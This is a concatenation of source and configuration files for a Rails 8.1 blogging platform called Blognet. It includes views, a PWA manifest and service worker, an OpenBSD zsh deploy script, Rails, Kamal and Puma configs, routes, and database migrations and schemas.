<p><%= f.submit "Comment" %></p>
<% end %>
<% end %>
</section>{
"name": "Blognet",
"short_name": "Blognet",
"icons": [
{
"src": "/icon-192.png",
"type": "image/png",
"sizes": "192x192"
},
{
"src": "/icon.png",
"type": "image/png",
"sizes": "512x512"
},
{
"src": "/icon.png",
"type": "image/png",
"sizes": "512x512",
"purpose": "maskable"
}
],
"start_url": "/",
"display": "standalone",
"scope": "/",
"description": "A network of blogs. Write, publish, and discover long-form content from writers worldwide.",
"theme_color": "#1a1a1a",
"background_color": "#1a1a1a"
}const CACHE = "blognet-v2"
const OFFLINE = "/offline"
self.addEventListener("install", e => {
e.waitUntil(caches.open(CACHE).then(c => c.addAll(["/", OFFLINE])))
self.skipWaiting()
})
self.addEventListener("activate", e => {
e.waitUntil(caches.keys().then(keys =>
Promise.all(keys.filter(k => k !== CACHE).map(k => caches.delete(k)))
))
self.clients.claim()
})
self.addEventListener("fetch", e => {
if (e.request.method !== "GET") return
const url = new URL(e.request.url)
const isNav = e.request.mode === "navigate"
const isAsset = /\.(js|css|png|jpg|jpeg|webp|svg|woff2?|ico)$/.test(url.pathname)
if (isAsset) {
e.respondWith(caches.match(e.request).then(cached => cached || fetch(e.request).then(res => {
const clone = res.clone()
caches.open(CACHE).then(c => c.put(e.request, clone))
return res
})))
} else if (isNav) {
e.respondWith(fetch(e.request).catch(() => caches.match(OFFLINE)))
}
})<% if flash[:alert] %><p role="alert"><%= flash[:alert] %></p><% end %>
<% if flash[:notice] %><p role="status"><%= flash[:notice] %></p><% end %>
<%= form_with url: session_path do |form| %>
<p><%= form.email_field :email_address, required: true, autofocus: true, autocomplete: "username", placeholder: "Enter your email address", value: params[:email_address] %></p>
<p><%= form.password_field :password, required: true, autocomplete: "current-password", placeholder: "Enter your password", maxlength: 72 %></p>
<p><%= form.submit "Sign in" %></p>
<% end %>
<p><%= link_to "Forgot password?", new_password_path %></p>#!/usr/bin/env zsh
# blognet.sh — deploys the tracked Blognet Rails tree at app/.
set -euo pipefail
APP_NAME=blognet
APP_DIR=/home/${APP_NAME}/app
APP_PORT=10002
APP_DOMAIN=blognet.no
SCRIPT_DIR=${0:a:h}
SRC_DIR=${SCRIPT_DIR}
SHARED_BUNDLE_CACHE=${SHARED_BUNDLE_CACHE:-/var/cache/pub4/bundle/ruby34}
. "${SCRIPT_DIR:h}/shared/deploy/@shared_functions.sh"
need_cmd ruby34 bundle doas
[[ -d $SRC_DIR ]] || { log_err "missing source tree: $SRC_DIR"; exit 1; }
log "${APP_NAME} — deploying tracked tree → ${APP_DIR}"
id "$APP_NAME" >/dev/null 2>&1 || doas useradd -m -L daemon -s /bin/ksh "$APP_NAME"
doas mkdir -p "$APP_DIR"
# Parametric shared grammar layer first (provides base classes, concerns, bins, assets, config)
doas cp -R "${SCRIPT_DIR:h}/shared/bin/." "${APP_DIR}/bin/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/public/." "${APP_DIR}/public/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/config/." "${APP_DIR}/config/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/app/." "${APP_DIR}/app/" 2>/dev/null || true
doas cp "${SCRIPT_DIR:h}/shared/Rakefile" "${APP_DIR}/Rakefile" 2>/dev/null || true
doas cp "${SCRIPT_DIR:h}/shared/config.ru" "${APP_DIR}/config.ru" 2>/dev/null || true
# Per-app tracked tree last (specialized instances + custom overrides win)
doas cp -R "${SRC_DIR}/." "${APP_DIR}/"
doas chown -R "${APP_NAME}:${APP_NAME}" "$APP_DIR"
cd "$APP_DIR"
typeset bundle_home="/home/${APP_NAME}/.bundle"
doas mkdir -p "$bundle_home"
if [[ ! -d ${bundle_home}/gems ]]; then
if [[ -d ${SHARED_BUNDLE_CACHE}/gems ]]; then
log "Bootstrapping gems from ${SHARED_BUNDLE_CACHE}"
doas cp -R "${SHARED_BUNDLE_CACHE}/gems" "$bundle_home/"
[[ -d ${SHARED_BUNDLE_CACHE}/cache ]] && doas cp -R "${SHARED_BUNDLE_CACHE}/cache" "$bundle_home/" || true
else
log_warn "No shared bundle cache found; bundle install will resolve gems normally"
fi
doas chown -R "${APP_NAME}:${APP_NAME}" "$bundle_home"
fi
doas mkdir -p "${APP_DIR}/.bundle"
print -- "---\nBUNDLE_PATH: \"${bundle_home}/gems\"" | doas tee "${APP_DIR}/.bundle/config" >/dev/null
doas chown -R "${APP_NAME}:${APP_NAME}" "${APP_DIR}/.bundle"
doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && bundle config set --local deployment true && bundle config set --local without 'development test' && RAILS_ENV=production bundle install"
doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && RAILS_ENV=production bin/rails db:create db:migrate"
[[ -f ${APP_DIR}/db/seeds.rb ]] && doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && RAILS_ENV=production bin/rails db:seed" || true
install_rcd "$APP_NAME" "$APP_DIR" "$APP_PORT" "$APP_NAME"
[[ -n $APP_DOMAIN ]] && relayd_add_relay "$APP_DOMAIN" "$APP_PORT"
doas rcctl restart "$APP_NAME" || doas rcctl start "$APP_NAME"
log_ok "$APP_NAME live on :$APP_PORT"# frozen_string_literal: true
require_relative "boot"
require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
require "active_storage/engine"
require "action_controller/railtie"
require "action_mailer/railtie"
require "action_mailbox/engine"
require "action_text/engine"
require "action_view/railtie"
require "action_cable/engine"
# require "rails/test_unit/railtie"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module App
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 8.1
# Please, add to the `ignore` list any other `lib` subdirectories that do
# not contain `.rb` files, or that should not be reloaded or eager loaded.
# Common ones are `templates`, `generators`, or `middleware`, for example.
config.autoload_lib(ignore: %w[assets tasks])
# Configuration for the application, engines, and railties goes here.
#
# These settings can be overridden in specific environments using the files
# in config/environments, which are processed later.
#
# config.time_zone = "Central Time (US & Canada)"
# config.eager_load_paths << Rails.root.join("extras")
# Don't generate system test files.
config.generators.system_tests = nil
end
end# Async adapter only works within the same process, so for manually triggering cable updates from a console,
# and seeing results in the browser, you must do so from the web console (running inside the dev process),
# not a terminal started via bin/rails console! Add "console" to any action or any ERB template view
# to make the web console appear.
development:
adapter: async
test:
adapter: test
production:
adapter: solid_cable
connects_to:
database:
writing: cable
polling_interval: 0.1.seconds
message_retention: 1.daydefault: &default
store_options:
# Cap age of oldest cache entry to fulfill retention policies
# max_age: <%= 60.days.to_i %>
max_size: <%= 256.megabytes %>
namespace: <%= Rails.env %>
development:
<<: *default
test:
<<: *default
production:
database: cache
<<: *default# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
max_connections: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
# Store production database in the storage/ directory, which by default
# is mounted as a persistent Docker volume in config/deploy.yml.
production:
primary:
<<: *default
database: storage/production.sqlite3
cache:
<<: *default
database: storage/production_cache.sqlite3
migrations_paths: db/cache_migrate
queue:
<<: *default
database: storage/production_queue.sqlite3
migrations_paths: db/queue_migrate
cable:
<<: *default
database: storage/production_cable.sqlite3
migrations_paths: db/cable_migrate# Name of your application. Used to uniquely configure containers.
service: app
# Name of the container image (use your-user/app-name on external registries).
image: app
# Deploy to these servers.
servers:
web:
- 192.168.0.1
# job:
# hosts:
# - 192.168.0.1
# cmd: bin/jobs
# Enable SSL auto certification via Let's Encrypt and allow for multiple apps on a single web server.
# If used with Cloudflare, set encryption mode in SSL/TLS setting to "Full" to enable CF-to-app encryption.
#
# TLS terminates at relayd in this repo. Rails should set config.assume_ssl and leave config.force_ssl disabled.
#
# Don't use this when deploying to multiple web servers (then you have to terminate SSL at your load balancer).
#
# proxy:
# ssl: true
# host: blognet.no
# Where you keep your container images.
registry:
# Alternatives: hub.docker.com / registry.digitalocean.com / ghcr.io / ...
server: localhost:5555
# Needed for authenticated registries.
# username: your-user
# Always use an access token rather than real password when possible.
# password:
# - KAMAL_REGISTRY_PASSWORD
# Inject ENV variables into containers (secrets come from .kamal/secrets).
env:
secret:
- RAILS_MASTER_KEY
clear:
# Run the Solid Queue Supervisor inside the web server's Puma process to do jobs.
# When you start using multiple servers, you should split out job processing to a dedicated machine.
SOLID_QUEUE_IN_PUMA: true
# Set number of processes dedicated to Solid Queue (default: 1)
# JOB_CONCURRENCY: 3
# Set number of cores available to the application on each server (default: 1).
# WEB_CONCURRENCY: 2
# Match this to any external database server to configure Active Record correctly
# Use app-db for a db accessory server on same machine via local kamal docker network.
# DB_HOST: 192.168.0.2
# Log everything from Rails
# RAILS_LOG_LEVEL: debug
# Aliases are triggered with "bin/kamal <alias>". You can overwrite arguments on invocation:
# "bin/kamal logs -r job" will tail logs from the first server in the job section.
aliases:
console: app exec --interactive --reuse "bin/rails console"
shell: app exec --interactive --reuse "bash"
logs: app logs -f
dbc: app exec --interactive --reuse "bin/rails dbconsole --include-password"
# Use a persistent storage volume for sqlite database files and local Active Storage files.
# Recommended to change this to a mounted volume path that is backed up off server.
volumes:
- "app_storage:/rails/storage"
# Bridge fingerprinted assets, like JS and CSS, between versions to avoid
# hitting 404 on in-flight requests. Combines all files from new and old
# version inside the asset_path.
asset_path: /rails/public/assets
# Configure the image builder.
builder:
arch: amd64
# # Build image via remote server (useful for faster amd64 builds on arm64 computers)
# remote: ssh://docker@docker-builder-server
#
# # Pass arguments and secrets to the Docker build process
# args:
# RUBY_VERSION: ruby-3.4.9
# secrets:
# - GITHUB_TOKEN
# - RAILS_MASTER_KEY
# Use a different ssh user than root
# ssh:
# user: app
# Use accessory services (secrets come from .kamal/secrets).
# accessories:
# db:
# image: mysql:8.0
# host: 192.168.0.2
# # Change to 3306 to expose port to the world instead of just local network.
# port: "127.0.0.1:3306:3306"
# env:
# clear:
# MYSQL_ROOT_HOST: '%'
# secret:
# - MYSQL_ROOT_PASSWORD
# files:
# - config/mysql/production.cnf:/etc/mysql/my.cnf
# - db/production.sql:/docker-entrypoint-initdb.d/setup.sql
# directories:
# - data:/var/lib/mysql
# redis:
# image: valkey/valkey:8
# host: 192.168.0.2
# port: 6379
# directories:
# - data:/data# frozen_string_literal: true
require "active_support/core_ext/integer/time"
Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.enable_reloading = false
# Eager load code on boot for better performance and memory savings (ignored by Rake tasks).
config.eager_load = true
# Full error reports are disabled.
config.consider_all_requests_local = false
# Turn on fragment caching in view templates.
config.action_controller.perform_caching = true
# Cache assets for far-future expiry since they are all digest stamped.
config.public_file_server.headers = { "cache-control" => "public, max-age=#{1.year.to_i}" }
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.asset_host = "http://assets.example.com"
# Store uploaded files on the local file system (see config/storage.yml for options).
config.active_storage.service = :local
# Assume all access to the app is happening through a SSL-terminating reverse proxy.
config.assume_ssl = true
# TLS terminates at OpenBSD relayd; Rails must not own HTTPS redirects.
# config.force_ssl = true
# Skip http-to-https redirect for the default health check endpoint.
# config.ssl_options = { redirect: { exclude: ->(request) { request.path == "/up" } } }
# Log to STDOUT with the current request id as a default log tag.
config.log_tags = [ :request_id ]
config.logger = ActiveSupport::TaggedLogging.logger(STDOUT)
# Change to "debug" to log everything (including potentially personally-identifiable information!).
config.log_level = ENV.fetch("RAILS_LOG_LEVEL", "info")
# Prevent health checks from clogging up the logs.
config.silence_healthcheck_path = "/up"
# Don't log any deprecations.
config.active_support.report_deprecations = false
# Replace the default in-process memory cache store with a durable alternative.
config.cache_store = :solid_cache_store
# Replace the default in-process and non-durable queuing backend for Active Job.
config.active_job.queue_adapter = :solid_queue
config.solid_queue.connects_to = { database: { writing: :queue } }
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Set host to be used by links generated in mailer templates.
config.action_mailer.default_url_options = { host: "blognet.no", protocol: "https" }
# Specify outgoing SMTP server. Remember to add smtp/* credentials via bin/rails credentials:edit.
# config.action_mailer.smtp_settings = {
# user_name: Rails.application.credentials.dig(:smtp, :user_name),
# password: Rails.application.credentials.dig(:smtp, :password),
# address: "smtp.example.com",
# port: 587,
# authentication: :plain
# }
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
# Only use :id for inspections in production.
config.active_record.attributes_for_inspect = [ :id ]
config.hosts = ["blognet.no", "www.blognet.no"]
config.host_authorization = { exclude: ->(request) { request.path == "/up" } }
end# frozen_string_literal: true
# Pin npm packages by running ./bin/importmap
pin "application"
pin "@hotwired/turbo-rails", to: "turbo.min.js"
pin "@hotwired/stimulus", to: "@hotwired--stimulus.js" # @3.2.2
pin "@hotwired/stimulus-loading", to: "stimulus-loading.js"
pin_all_from "app/javascript/controllers", under: "controllers"
pin "@stimulus-components/dialog", to: "@stimulus-components--dialog.js" # @1.0.1
pin "@stimulus-components/auto-submit", to: "@stimulus-components--auto-submit.js" # @6.0.0
pin "@stimulus-components/character-counter", to: "@stimulus-components--character-counter.js" # @5.1.0
pin "@stimulus-components/dropdown", to: "@stimulus-components--dropdown.js" # @3.0.0
pin "stimulus-use" # @0.52.3
pin "@stimulus-components/clipboard", to: "@stimulus-components--clipboard.js" # @5.0.0
pin "@stimulus-components/notification", to: "@stimulus-components--notification.js" # @3.0.0
pin "@stimulus-components/timeago", to: "@stimulus-components--timeago.js" # @5.0.2
pin "date-fns" # @4.1.0
pin "@stimulus-components/animated-number", to: "@stimulus-components--animated-number.js" # @5.0.0
pin "@stimulus-components/sortable", to: "@stimulus-components--sortable.js" # @5.0.3
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_request", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_request.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_response", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_response.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/lib/utils", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--lib--utils.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/request_interceptor", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--request_interceptor.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/verbs", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--verbs.js" # @0.0.13
pin "@rails/request.js", to: "@rails--request.js.js" # @0.0.13
pin "sortablejs" # @1.15.7# frozen_string_literal: true
# This configuration file will be evaluated by Puma. The top-level methods that
# are invoked here are part of Puma's configuration DSL. For more information
# about methods provided by the DSL, see https://puma.io/puma/Puma/DSL.html.
#
# Puma starts a configurable number of processes (workers) and each process
# serves each request in a thread from an internal thread pool.
#
# You can control the number of workers using ENV["WEB_CONCURRENCY"]. You
# should only set this value when you want to run 2 or more workers. The
# default is already 1. You can set it to `auto` to automatically start a worker
# for each available processor.
#
# The ideal number of threads per worker depends both on how much time the
# application spends waiting for IO operations and on how much you wish to
# prioritize throughput over latency.
#
# As a rule of thumb, increasing the number of threads will increase how much
# traffic a given process can handle (throughput), but due to CRuby's
# Global VM Lock (GVL) it has diminishing returns and will degrade the
# response time (latency) of the application.
#
# The default is set to 3 threads as it's deemed a decent compromise between
# throughput and latency for the average Rails application.
#
# Any libraries that use a connection pool or another resource pool should
# be configured to provide at least as many connections as the number of
# threads. This includes Active Record's `pool` parameter in `database.yml`.
threads_count = ENV.fetch("RAILS_MAX_THREADS", 3)
threads threads_count, threads_count
# Specifies the `port` that Puma will listen on to receive requests; default is 3000.
port ENV.fetch("PORT", 3000)
# Allow puma to be restarted by `bin/rails restart` command.
plugin :tmp_restart
# Run the Solid Queue supervisor inside of Puma for single-server deployments.
plugin :solid_queue if ENV["SOLID_QUEUE_IN_PUMA"]
# Specify the PID file. Defaults to tmp/pids/server.pid in development.
# In other environments, only set the PID file if requested.
pidfile ENV["PIDFILE"] if ENV["PIDFILE"]default: &default
dispatchers:
- polling_interval: 1
batch_size: 500
workers:
- queues: "*"
threads: 3
processes: <%= ENV.fetch("JOB_CONCURRENCY", 1) %>
polling_interval: 0.1
development:
<<: *default
test:
<<: *default
production:
<<: *default# examples:
# periodic_cleanup:
# class: CleanSoftDeletedRecordsJob
# queue: background
# args: [ 1000, { batch_size: 500 } ]
# schedule: every hour
# periodic_cleanup_with_command:
# command: "SoftDeletedRecord.due.delete_all"
# priority: 2
# schedule: at 5am every day
production:
clear_solid_queue_finished_jobs:
command: "SolidQueue::Job.clear_finished_in_batches(sleep_between_batches: 0.3)"
schedule: every hour at minute 12# frozen_string_literal: true
Rails.application.routes.draw do
resource :session
resources :passwords, param: :token
resources :blogs, path: "b" do
resources :posts, path: "p" do
resources :comments, only: %i[create destroy]
end
end
root "blogs#index"
get 'manifest' => 'rails/pwa#manifest', as: :pwa_manifest
get 'service-worker' => 'rails/pwa#service_worker', as: :pwa_service_worker
get "up", to: "rails/health#show", as: :rails_health_check
end# frozen_string_literal: true
ActiveRecord::Schema[7.1].define(version: 1) do
create_table "solid_cable_messages", force: :cascade do |t|
t.binary "channel", limit: 1024, null: false
t.binary "payload", limit: 536870912, null: false
t.datetime "created_at", null: false
t.integer "channel_hash", limit: 8, null: false
t.index ["channel"], name: "index_solid_cable_messages_on_channel"
t.index ["channel_hash"], name: "index_solid_cable_messages_on_channel_hash"
t.index ["created_at"], name: "index_solid_cable_messages_on_created_at"
end
end# frozen_string_literal: true
ActiveRecord::Schema[7.2].define(version: 1) do
create_table "solid_cache_entries", force: :cascade do |t|
t.binary "key", limit: 1024, null: false
t.binary "value", limit: 536870912, null: false
t.datetime "created_at", null: false
t.integer "key_hash", limit: 8, null: false
t.integer "byte_size", limit: 4, null: false
t.index ["byte_size"], name: "index_solid_cache_entries_on_byte_size"
t.index ["key_hash", "byte_size"], name: "index_solid_cache_entries_on_key_hash_and_byte_size"
t.index ["key_hash"], name: "index_solid_cache_entries_on_key_hash", unique: true
end
end# frozen_string_literal: true
class CreateUsers < ActiveRecord::Migration[8.1]
def change
create_table :users do |t|
t.string :email_address, null: false
t.string :password_digest, null: false
t.timestamps
end
add_index :users, :email_address, unique: true
end
end# frozen_string_literal: true
class CreateSessions < ActiveRecord::Migration[8.1]
def change
create_table :sessions do |t|
t.references :user, null: false, foreign_key: true
t.string :ip_address
t.string :user_agent
t.timestamps
end
end
end# frozen_string_literal: true
# This migration comes from active_storage (originally 20170806125915)
class CreateActiveStorageTables < ActiveRecord::Migration[7.0]
def change
# Use Active Record's configured type for primary and foreign keys
primary_key_type, foreign_key_type = primary_and_foreign_key_types
create_table :active_storage_blobs, id: primary_key_type do |t|
t.string :key, null: false
t.string :filename, null: false
t.string :content_type
t.text :metadata
t.string :service_name, null: false
t.bigint :byte_size, null: false
t.string :checksum
if connection.supports_datetime_with_precision?
t.datetime :created_at, precision: 6, null: false
else
t.datetime :created_at, null: false
end
t.index [ :key ], unique: true
end
create_table :active_storage_attachments, id: primary_key_type do |t|
t.string :name, null: false
t.references :record, null: false, polymorphic: true, index: false, type: foreign_key_type
t.references :blob, null: false, type: foreign_key_type
if connection.supports_datetime_with_precision?
t.datetime :created_at, precision: 6, null: false
else
t.datetime :created_at, null: false
end
t.index [ :record_type, :record_id, :name, :blob_id ], name: :index_active_storage_attachments_uniqueness, unique: true
t.foreign_key :active_storage_blobs, column: :blob_id
end
create_table :active_storage_variant_records, id: primary_key_type do |t|
t.belongs_to :blob, null: false, index: false, type: foreign_key_type
t.string :variation_digest, null: false
t.index [ :blob_id, :variation_digest ], name: :index_active_storage_variant_records_uniqueness, unique: true
t.foreign_key :active_storage_blobs, column: :blob_id
end
end
private
def primary_and_foreign_key_types
config = Rails.configuration.generators
setting = config.options[config.orm][:primary_key_type]
primary_key_type = setting || :primary_key
foreign_key_type = setting || :bigint
[ primary_key_type, foreign_key_type ]
end
end# frozen_string_literal: true
# This migration comes from action_text (originally 20180528164100)
class CreateActionTextTables < ActiveRecord::Migration[6.0]
def change
# Use Active Record's configured type for primary and foreign keys
primary_key_type, foreign_key_type = primary_and_foreign_key_types
create_table :action_text_rich_texts, id: primary_key_type do |t|
t.string :name, null: false
t.text :body, size: :long
t.references :record, null: false, polymorphic: true, index: false, type: foreign_key_type
t.timestamps
t.index [ :record_type, :record_id, :name ], name: "index_action_text_rich_texts_uniqueness", unique: true
end
end
private
def primary_and_foreign_key_types
config = Rails.configuration.generators
setting = config.options[config.orm][:primary_key_type]
primary_key_type = setting || :primary_key
foreign_key_type = setting || :bigint
[ primary_key_type, foreign_key_type ]
end
end# frozen_string_literal: true
class CreateBlogs < ActiveRecord::Migration[8.1]
def change
create_table :blogs do |t|
t.string :name
t.text :description
t.string :slug
t.references :user, foreign_key: true
t.boolean :published, default: false
t.integer :posts_count, default: 0
t.timestamps
end
add_index :blogs, :slug, unique: true
end
end# frozen_string_literal: true
class CreatePosts < ActiveRecord::Migration[8.1]
def change
create_table :posts do |t|
t.string :title
t.string :slug
t.references :blog, foreign_key: true
t.references :user, foreign_key: true
t.boolean :published, default: false
t.datetime :published_at
t.integer :views_count, default: 0
t.integer :comments_count, default: 0
t.timestamps
end
add_index :posts, :slug, unique: true
end
end# frozen_string_literal: true
class CreateCategories < ActiveRecord::Migration[8.1]
def change
create_table :categories do |t|
t.string :name
t.string :slug
t.text :description
t.timestamps
end
add_index :categories, :slug, unique: true
end
end# frozen_string_literal: true
class CreateCategorizations < ActiveRecord::Migration[8.1]
def change
create_table :categorizations do |t|
t.references :post, foreign_key: true
t.references :category, foreign_key: true
t.timestamps
end
end
end# frozen_string_literal: true
class CreateComments < ActiveRecord::Migration[8.1]
def change
create_table :comments do |t|
t.references :post, foreign_key: true
t.references :user, foreign_key: true
t.integer :parent_id
t.text :content
t.boolean :approved, default: true
t.timestamps
end
end
end# frozen_string_literal: true
class CreateTags < ActiveRecord::Migration[8.1]
def change
create_table :tags do |t|
t.string :name
t.integer :posts_count, default: 0
t.timestamps
end
add_index :tags, :name, unique: true
end
end# frozen_string_literal: true
class CreateTaggings < ActiveRecord::Migration[8.1]
def change
create_table :taggings do |t|
t.references :post, foreign_key: true
t.references :tag, foreign_key: true
t.timestamps
end
end
end# frozen_string_literal: true
ActiveRecord::Schema[7.1].define(version: 1) do
create_table "solid_queue_blocked_executions", force: :cascade do |t|
t.bigint "job_id", null: false
t.string "queue_name", null: false
t.integer "priority", default: 0, null: false
t.string "concurrency_key", null: false
t.datetime "expires_at", null: false
t.datetime "created_at", null: false
t.index [ "concurrency_key", "priority", "job_id" ], name: "index_solid_queue_blocked_executions_for_release"
t.index [ "expires_at", "concurrency_key" ], name: "index_solid_queue_blocked_executions_for_maintenance"
t.index [ "job_id" ], name: "index_solid_queue_blocked_executions_on_job_id", unique: true
end
create_table "solid_queue_claimed_executions", force: :cascade do |t|
t.bigint "job_id", null: false
t.bigint "process_id"
t.datetime "created_at", null: false
t.index [ "job_id" ], name: "index_solid_queue_claimed_executions_on_job_id", unique: true
t.index [ "process_id", "job_id" ], name: "index_solid_queue_claimed_executions_on_process_id_and_job_id"
end
create_table "solid_queue_failed_executions", force: :cascade do |t|
t.bigint "job_id", null: false
t.text "error"
t.datetime "created_at", null: false
t.index [ "job_id" ], name: "index_solid_queue_failed_executions_on_job_id", unique: true
end
create_table "solid_queue_jobs", force: :cascade do |t|
t.string "queue_name", null: false
t.string "class_name", null: false
t.text "arguments"
t.integer "priority", default: 0, null: false
t.string "active_job_id"
t.datetime "scheduled_at"
t.datetime "finished_at"
t.string "concurrency_key"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index [ "active_job_id" ], name: "index_solid_queue_jobs_on_active_job_id"
t.index [ "class_name" ], name: "index_solid_queue_jobs_on_class_name"
t.index [ "finished_at" ], name: "index_solid_queue_jobs_on_finished_at"
t.index [ "queue_name", "finished_at" ], name: "index_solid_queue_jobs_for_filtering"
t.index [ "scheduled_at", "finished_at" ], name: "index_solid_queue_jobs_for_alerting"
end
create_table "solid_queue_pauses", force: :cascade do |t|
t.string "queue_name", null: false
t.datetime "created_at", null: false
t.index [ "queue_name" ], name: "index_solid_queue_pauses_on_queue_name", unique: true
end
create_table "solid_queue_processes", force: :cascade do |t|
t.string "kind", null: false
t.datetime "last_heartbeat_at", null: false
t.bigint "supervisor_id"
t.integer "pid", null: false
t.string "hostname"
t.text "metadata"
t.datetime "created_at", null: false
t.string "name", null: false
t.index [ "last_heartbeat_at" ], name: "index_solid_queue_processes_on_last_heartbeat_at"
t.index [ "name", "supervisor_id" ], name: "index_solid_queue_processes_on_name_and_supervisor_id", unique: true
t.index [ "supervisor_id" ], name: "index_solid_queue_processes_on_supervisor_id"
end
create_table "solid_queue_ready_executions", force: :cascade do |t|
t.bigint "job_id", null: false
t.string "queue_name", null: false
t.integer "priority", default: 0, null: false
t.datetime "created_at", null: false
t.index [ "job_id" ], name: "index_solid_queue_ready_executions_on_job_id", unique: true
t.index [ "priority", "job_id" ], name: "index_solid_queue_poll_all"
t.index [ "queue_name", "priority", "job_id" ], name: "index_solid_queue_poll_by_queue"
end
create_table "solid_queue_recurring_executions", force: :cascade do |t|
t.bigint "job_id", null: false
t.string "task_key", null: false
t.datetime "run_at", null: false
t.datetime "created_at", null: false
t.index [ "job_id" ], name: "index_solid_queue_recurring_executions_on_job_id", unique: true
t.index [ "task_key", "run_at" ], name: "index_solid_queue_recurring_executions_on_task_key_and_run_at", unique: true
end
create_table "solid_queue_recurring_tasks", force: :cascade do |t|
t.string "key", null: false
t.string "schedule", null: false
t.string "command", limit: 2048
t.string "class_name"
t.text "arguments"
t.string "queue_name"
t.integer "priority", default: 0
t.boolean "static", default: true, null: false
t.text "description"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index [ "key" ], name: "index_solid_queue_recurring_tasks_on_key", unique: true
t.index [ "static" ], name: "index_solid_queue_recurring_tasks_on_static"
end
create_table "solid_queue_scheduled_executions", force: :cascade do |t|
t.bigint "job_id", null: false
t.string "queue_name", null: false
t.integer "priority", default: 0, null: false
t.datetime "scheduled_at", null: false
t.datetime "created_at", null: false
t.index [ "job_id" ], name: "index_solid_queue_scheduled_executions_on_job_id", unique: true
t.index [ "scheduled_at", "priority", "job_id" ], name: "index_solid_queue_dispatch_all"
end
create_table "solid_queue_semaphores", force: :cascade do |t|
t.string "key", null: false
t.integer "value", default: 1, null: false
t.datetime "expires_at", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index [ "expires_at" ], name: "index_solid_queue_semaphores_on_expires_at"
t.index [ "key", "value" ], name: "index_solid_queue_semaphores_on_key_and_value"
t.index [ "key" ], name: "index_solid_queue_semaphores_on_key", unique: true
end
add_foreign_key "solid_queue_blocked_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
add_foreign_key "solid_queue_claimed_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
add_foreign_key "solid_queue_failed_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
add_foreign_key "solid_queue_ready_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
add_foreign_key "solid_queue_recurring_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
add_foreign_key "solid_queue_scheduled_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
end# frozen_string_literal: true
# This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# This file is the source Rails uses to define your schema when running `bin/rails
# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to
# be faster and is potentially less error prone than running all of your
# migrations from scratch. Old migrations may fail to apply correctly if those
# migrations use external dependencies or application code.
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema[8.1].define(version: 2026_05_01_020920) do
create_table "action_text_rich_texts", force: :cascade do |t|
t.text "body"
t.datetime "created_at", null: false
t.string "name", null: false
t.bigint "record_id", null: false
t.string "record_type", null: false
t.datetime "updated_at", null: false
t.index ["record_type", "record_id", "name"], name: "index_action_text_rich_texts_uniqueness", unique: true
end
create_table "active_storage_attachments", force: :cascade do |t|
t.bigint "blob_id", null: false
t.datetime "created_at", null: false
t.string "name", null: false
t.bigint "record_id", null: false
t.string "record_type", null: false
t.index ["blob_id"], name: "index_active_storage_attachments_on_blob_id"
t.index ["record_type", "record_id", "name", "blob_id"], name: "index_active_storage_attachments_uniqueness", unique: true
end
create_table "active_storage_blobs", force: :cascade do |t|
t.bigint "byte_size", null: false
t.string "checksum"
t.string "content_type"
t.datetime "created_at", null: false
t.string "filename", null: false
t.string "key", null: false
t.text "metadata"
t.string "service_name", null: false
t.index ["key"], name: "index_active_storage_blobs_on_key", unique: true
end
create_table "active_storage_variant_records", force: :cascade do |t|
t.bigint "blob_id", null: false
t.string "variation_digest", null: false
t.index ["blob_id", "variation_digest"], name: "index_active_storage_variant_records_uniqueness", unique: true
end
create_table "sessions", force: :cascade do |t|
t.datetime "created_at", null: false
t.string "ip_address"
t.datetime "updated_at", null: false
